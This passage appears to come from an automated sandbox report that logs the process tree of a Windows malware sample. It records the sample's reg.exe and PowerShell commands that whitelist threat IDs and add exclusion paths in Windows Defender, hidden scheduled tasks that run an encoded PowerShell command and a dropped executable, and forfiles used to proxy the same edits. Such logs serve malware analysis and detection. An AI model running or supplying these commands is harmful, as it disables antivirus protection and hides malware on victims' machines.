    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:5724
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:1764
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:3788
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:7852
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:5104
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:2152
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:5564
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:3128
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:4868
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:3792
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:8296
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:6176
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:4104
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:8672
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:3628
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:6764
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:1244
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:4908
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:8336
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:6384
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:6452
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:7852
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:4100
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:7652
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:1972
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\NuNDxVhSfKiQUmJwJAR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\NuNDxVhSfKiQUmJwJAR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\QtKEgKYoTGTqC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\QtKEgKYoTGTqC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ZEkGlaTFWGUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ZEkGlaTFWGUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\dlfHiRefefjU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\dlfHiRefefjU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\hsUwQAlMU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\hsUwQAlMU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\nivjmgppGaMJQQVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\nivjmgppGaMJQQVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\DQsmlqqwNqJuTewVy\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\DQsmlqqwNqJuTewVy\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\QqEAMUespgTHJnVz\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\QqEAMUespgTHJnVz\" /t REG_DWORD /d 0 /reg:64;"
  2⤵
  PID:3192
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\NuNDxVhSfKiQUmJwJAR" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:7984
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\NuNDxVhSfKiQUmJwJAR" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:4268
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\NuNDxVhSfKiQUmJwJAR" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:6552
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\QtKEgKYoTGTqC" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:164
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\QtKEgKYoTGTqC" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:8080
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZEkGlaTFWGUn" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:7340
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZEkGlaTFWGUn" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:7264
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\dlfHiRefefjU2" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:8576
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\dlfHiRefefjU2" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:8704
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\hsUwQAlMU" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:8876
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\hsUwQAlMU" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:8584
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\nivjmgppGaMJQQVB /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:3532
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\nivjmgppGaMJQQVB /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:6956
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:5768
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:6184
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\DQsmlqqwNqJuTewVy /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:5192
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\DQsmlqqwNqJuTewVy /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:5028
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\QqEAMUespgTHJnVz /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:1612
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\QqEAMUespgTHJnVz /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:8656
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "gHUBkzNBz" /SC once /ST 00:06:14 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
  2⤵
  - Creates scheduled task(s)
  PID:8304
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /run /I /tn "gHUBkzNBz"
  2⤵
  PID:3160
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "gHUBkzNBz"
  2⤵
  PID:3968
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "ZTNkTKukmvvbOMPkn" /SC once /ST 05:18:14 /RU "SYSTEM" /TR "\"C:\Windows\Temp\QqEAMUespgTHJnVz\WeEdkAGsJlpiURx\fpNSkKK.exe\" 0c /PspKdidaZ 385118 /S" /V1 /F
  2⤵
  - Creates scheduled task(s)
  PID:8272
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /run /I /tn "ZTNkTKukmvvbOMPkn"
  2⤵
  PID:6320
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 7664 -s 688
  2⤵
  - Program crash
  PID:8164

C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe
C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe
1⤵
PID:4064

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 592 -p 8276 -ip 8276
1⤵
PID:7912

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
1⤵
PID:6816

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --profile-directory=Default
1⤵
PID:6808
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x124,0x128,0x12c,0x120,0x130,0x7ff9fa3946f8,0x7ff9fa394708,0x7ff9fa394718
  2⤵
  PID:5996

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --profile-directory=Default
1⤵
PID:6188
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ff9fa3946f8,0x7ff9fa394708,0x7ff9fa394718
  2⤵
  PID:7476

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --profile-directory=Default
1⤵
PID:3352
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ff9fa3946f8,0x7ff9fa394708,0x7ff9fa394718
  2⤵
  PID:4756

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --profile-directory=Default
1⤵
PID:4124
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ff9fa3946f8,0x7ff9fa394708,0x7ff9fa394718
  2⤵
  PID:5524

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --profile-directory=Default
1⤵
PID:6076
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ff9fa3946f8,0x7ff9fa394708,0x7ff9fa394718
  2⤵
  PID:8860

C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe
C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe
1⤵
PID:7072

C:\Users\Admin\Desktop\a\Newoff.exe
C:\Users\Admin\Desktop\a\Newoff.exe
1⤵
PID:5624

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
1⤵
- Command and Scripting Interpreter: PowerShell
PID:4504

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --profile-directory=Default
1⤵
PID:6112
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ff9fa3946f8,0x7ff9fa394708,0x7ff9fa394718
  2⤵
  PID:9096

C:\Windows\Temp\QqEAMUespgTHJnVz\WeEdkAGsJlpiURx\fpNSkKK.exe
C:\Windows\Temp\QqEAMUespgTHJnVz\WeEdkAGsJlpiURx\fpNSkKK.exe 0c /PspKdidaZ 385118 /S
1⤵
PID:4104
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
  2⤵
  PID:6552
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
    3⤵
    PID:6008
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
      4⤵
      PID:8280
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        5⤵
        
        PID:4992
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
    3⤵
    PID:5792
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
      4⤵
      PID:1884
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        5⤵
        
        PID:6764
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
    3⤵
    PID:7204
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
      4⤵
      PID:8244
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        5⤵
        
        PID:7120
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
    3⤵
    PID:8824
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
      4⤵
      PID:8228
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        5⤵
        
        PID:2188
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
    3⤵
    PID:1832
  - - C:\Windows\SysWOW64\cmd.exe
      /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
      4⤵
      PID:4492
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell start-process -WindowStyle Hidden gpupdate.exe /force
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5776
